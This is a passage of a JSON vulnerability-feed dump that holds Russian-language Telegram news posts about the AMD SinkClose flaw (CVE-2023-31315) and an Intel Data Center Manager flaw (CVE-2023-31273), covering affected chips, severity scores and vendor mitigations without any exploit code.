\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0432 \u0434\u043e\u043a\u043b\u0430\u0434\u0435 DefCon \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u00abAMD Sinkclose: \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Ring 2\u00bb.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 Sinkclose \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 20 \u043b\u0435\u0442 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0447\u0438\u043f\u043e\u0432 AMD.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SinkClose \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 (Ring 0) \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 (SMM), \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 SMM. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e. Ring 2 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u041e\u0421 \u0438 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u044d\u0442\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u0432 \u041e\u0421.\n\n\u041e\u043a\u0443\u043f\u0441\u043a\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u0438\u0437\u0434\u0430\u043d\u0438\u044e Wired, \u0447\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0432\u0440\u0435\u0434, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SinkClose, \u2014 \u044d\u0442\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0426\u041f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0442\u043e\u0440\u0430 SPI Flash \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e AMD, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438:\n\n- EPYC 1-\u0433\u043e, 2-\u0433\u043e, 3-\u0433\u043e \u0438 4-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u0439;\n- EPYC Embedded 3000, 7002, 7003 \u0438 9003, R1000, R2000, 5000 \u0438 7000;\n- Ryzen Embedded V1000, V2000 \u0438 V3000;\n- Ryzen 3000, 5000, 4000, 7000 \u0438 8000 \u0441\u0435\u0440\u0438\u0439;\n- Ryzen 3000 Mobile, 5000 Mobile, 4000 Mobile \u0438 7000 Mobile \u0441\u0435\u0440\u0438\u0439;\n- Ryzen Threadripper 3000 \u0438 7000 \u0441\u0435\u0440\u0438\u0439;\n- AMD Threadripper PRO (Castle Peak WS SP3, Chagall WS);\n- AMD Athlon 3000 \u0441\u0435\u0440\u0438\u0438 Mobile (Dali, Pollock);\n- AMD Instinct MI300A.\n\nAMD \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC \u0438 AMD Ryzen, \u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u043f\u043e\u0437\u0436\u0435.\n\n\u0412\u0430\u0436\u043d\u044b\u0439 \u0444\u0430\u043a\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u044d\u0442\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2023-31315. \u0423\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 SinkClose \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430, \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 AMD \u0432 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f Wired. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 IOActive \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b, \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, \u043d\u0435 \u0440\u0435\u0434\u043a\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.wired.com/story/amd-chip-sinkclose-flaw/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-27T00:00:45.181745Z"}, {"uuid": "726237e7-720f-4725-a606-2d223aa72efc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31273", "type": "seen", "source": "https://t.me/EchelonEyes/2194", "content": "\u041d\u041a\u0426\u041a\u0418 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0426\u041e\u0414\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel \n\n\u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u043f\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u043c \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c (\u041d\u041a\u0426\u041a\u0418) \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 Intel Data Center Manager (DCM), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-31273 \u0432 \u0431\u0430\u0437\u0435 NIST NVD \u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043b\u0435\u0433\u043a\u043e\u0441\u0442\u0438 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 DCM \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e 5.2.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u0441\u0435 \u0435\u0449\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041d\u041a\u0426\u041a\u0418 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0435 \u043a\u0430\u043a \u00ab\u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\u00bb.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://safe-surf.ru/specialists/bulletins-nkcki/701581/\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0426\u041e\u0414 #Intel", "creation_timestamp": "2026-07-27T00:00:55.429775Z"}, {"uuid": "9850ffe2-bc13-4c48-9109-44fc60fb6d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31273", "type": "seen", "source": "https://t.me/EchelonEyes/2194", "content": "\u041d\u041a\u0426\u041a\u0418 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0426\u041e\u0414\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel \n\n\u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u043f\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u043c \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c (\u041d\u041a\u0426\u041a\u0418) \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 Intel Data Center Manager (DCM), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-31273 \u0432 \u0431\u0430\u0437\u0435 NIST NVD \u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043b\u0435\u0433\u043a\u043e\u0441\u0442\u0438 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 DCM \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e 5.2.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u0441\u0435 \u0435\u0449\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041d\u041a\u0426\u041a\u0418 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0435 \u043a\u0430\u043a \u00ab\u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\u00bb.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://safe-surf.ru/specialists/bulletins-nkcki/701581/\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0426\u041e\u0414 #Intel", "creation_timestamp": "2026-07-28T00:00:31.858332Z"}, {"uuid": "06e1ea4f-f03a-41bd-9bdd-ab6829c1730a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31315", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/3046", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SinkClose \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0447\u0438\u043f\u043e\u0432 AMD \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f AMD \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c SinkClose \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC, Ryzen \u0438 Threadripper. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0443\u0440\u043e\u0432\u043d\u044f \u044f\u0434\u0440\u0430 (Ring 0) \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 Ring 2 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c.\n\nRing 2 \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u2013 \u0432\u044b\u0448\u0435 Ring 1 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u043e\u0432 \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0426\u041f) \u0438 Ring 0 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u044f\u0434\u0440\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b).\n\n\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Ring 2 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 System Management Mode (SMM) \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0426\u041f. SMM \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c, \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0418\u0437-\u0437\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 SMM \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u0435\u0433\u043e \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-31315 \u0438 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,5. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u042d\u043d\u0440\u0438\u043a\u0435 \u041d\u0438\u0441\u0441\u0438\u043c \u0438 \u041a\u0448\u0438\u0448\u0442\u043e\u0444 \u041e\u043a\u0443\u043f\u0441\u043a\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 IOActive, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0434\u0430\u043b\u0438 \u0435\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 SinkClose.\n\n\u041f\u043e\u043b\u043d\u044b\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0432 \u0434\u043e\u043a\u043b\u0430\u0434\u0435 DefCon \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u00abAMD Sinkclose: \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Ring 2\u00bb.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 Sinkclose 